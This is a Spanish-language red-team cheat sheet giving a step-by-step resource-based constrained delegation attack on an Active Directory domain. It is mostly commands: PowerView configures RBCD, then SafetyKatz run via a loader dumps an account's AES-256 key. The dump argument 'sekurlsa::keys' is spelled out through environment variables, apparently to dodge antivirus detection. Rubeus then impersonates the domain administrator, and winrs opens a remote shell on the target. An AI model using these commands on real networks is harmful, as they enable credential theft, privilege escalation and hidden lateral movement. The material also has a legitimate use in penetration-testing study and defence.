[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/rbcd
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd rbcd/█
Resource-based Constrained Delegation
Tip
El %Pwn% del comando de Rubeus corresponde a la codificación s4u (ver delegación restringida).
Configuración
Encontrar ACLs interesantes (GenericWrite) sobre un objeto computador (ver enumeración del dominio).
Como el usuario con GenericWrite, importar PowerView:
. .\PowerView.ps1Configurar RBCD para el usuario local en la máquina objetivo:
Set-DomainRBCD -Identity <SERVER_NAME> -DelegateFrom '<LOCAL_USERNAME>$' -VerboseValidar la configuración del RBCD:
Get-DomainRBCDExplotación
Obtener el AES-256 de la cuenta local con SafetyKatz en la máquina de apoyo:
set "z=s"
set "y=y"
set "x=e"
set "w=k"
set "v=e"
set "u=:"
set "t=:"
set "s=a"
set "r=s"
set "q=l"
set "p=r"
set "o=u"
set "n=k"
set "m=e"
set "l=s"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
Loader.exe -Path SafetyKatz.exe -args "%Pwn%" "exit"Usar el RBCD para acceder a la máquina objetivo:
Loader.exe -path Rubeus.exe -args %Pwn% /user:<LOCAL_USERNAME>$ /aes256:<AES-256_KEY_LOCAL_ACCOUNT> /msdsspn:<SERVICE_NAME> /impersonateuser:administrator /pttAcceder mediante WinRM a la máquina:
winrs /r:<SERVER_NAME> cmd